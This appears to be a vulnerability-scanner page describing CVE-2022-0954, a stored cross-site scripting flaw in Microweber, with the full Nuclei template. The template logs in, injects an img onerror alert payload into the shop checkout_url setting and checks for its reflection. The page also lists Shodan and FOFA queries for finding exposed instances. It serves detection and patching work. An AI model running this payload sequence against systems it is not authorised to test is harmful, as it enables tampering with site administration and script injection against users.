Microweber <1.2.11 - Stored Cross-Site Scripting

mediumseverity

5.4CVSS score

3.2%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

Microweber before 1.2.1 contains multiple stored cross-site scripting vulnerabilities in Shop's Other Settings, Autorespond E-mail Settings, and Payment Methods.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Upgrade Microweber to version 1.2.11 or later to mitigate this vulnerability.

How to confirm it

Send: POST /api/user_login ; POST /api/save_option ; POST /module/
Positive when: contains(body_2,"true") and contains(body_3,'\"><img src=\"x\" onerror=\"alert(document.domain);\">\" placeholder=\"Use default') and contains(header_3,"text/html") and status_code_3==200

Run it with nuclei: nuclei -id CVE-2022-0954 -u <target>

The full check

id: CVE-2022-0954

info:
  name: Microweber <1.2.11 - Stored Cross-Site Scripting
  author: amit-jd
  severity: medium
  description: |
    Microweber before 1.2.1 contains multiple stored cross-site scripting vulnerabilities in Shop's Other Settings, Autorespond E-mail Settings, and Payment Methods.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade Microweber to version 1.2.11 or later to mitigate this vulnerability.
  reference:
    - https://github.com/advisories/GHSA-8c76-mxv5-w4g8
    - https://huntr.dev/bounties/b99517c0-37fc-4efa-ab1a-3591da7f4d26/
    - https://github.com/microweber/microweber/commit/955471c27e671c49e4b012e3b120b004082ac3f7
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0954
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-0954
    cwe-id: CWE-79
    epss-score: 0.03197
    epss-percentile: 0.88227
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: microweber
    product: microweber
    shodan-query:
      - http.favicon.hash:780351152
      - http.html:"microweber"
    fofa-query:
      - body="microweber"
      - icon_hash=780351152
  tags: cve2022,cve,xss,microweber,huntr,vuln

http:
  - raw:
      - |
        POST /api/user_login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}
      - |
        POST /api/save_option HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Referer: {{BaseURL}}/admin/view:shop/action:options

        option_key=checkout_url&option_group=shop&option_value=%22%3E%3CiMg+SrC%3D%22x%22+oNeRRor%3D%22alert(document.domain)%3B%22%3E&module=shop%2Forders%2Fsettings%2Fother
      - |
        POST /module/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Referer: {{BaseURL}}/admin/view:shop/action:options

        module=settings%2Fsystem_settings&id=settings_admin_mw-main-module-backend-settings-admin&class=card-body+pt-3&option_group=shop%2Forders%2Fsettings%2Fother&is_system=1&style=position%3A+relative%3B

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2,"true")'
          - contains(body_3,'\"><img src=\"x\" onerror=\"alert(document.domain);\">\" placeholder=\"Use default')
          - 'contains(header_3,"text/html")'
          - 'status_code_3==200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from